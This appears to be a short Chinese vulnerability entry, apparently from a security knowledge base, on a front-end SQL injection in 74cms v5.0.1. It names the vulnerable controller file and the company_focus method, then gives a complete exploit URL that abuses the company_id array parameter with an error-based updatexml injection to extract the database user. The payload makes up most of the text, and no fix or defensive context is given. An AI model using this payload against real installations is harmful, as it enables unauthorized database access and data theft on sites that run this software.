[HW漏洞]74cms v5.0.1 前台sql注入（旧）

文件位置

74cmsuploadApplicationHomeControllerAjaxPersonalController.class.php

 

方法

function company_focus($company_id)

 

payload

http://0-sec.org/74cms/5.0.1/upload/index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=aaaaaaa") and updatexml(1,concat(0x7e,(select user())),0) -- a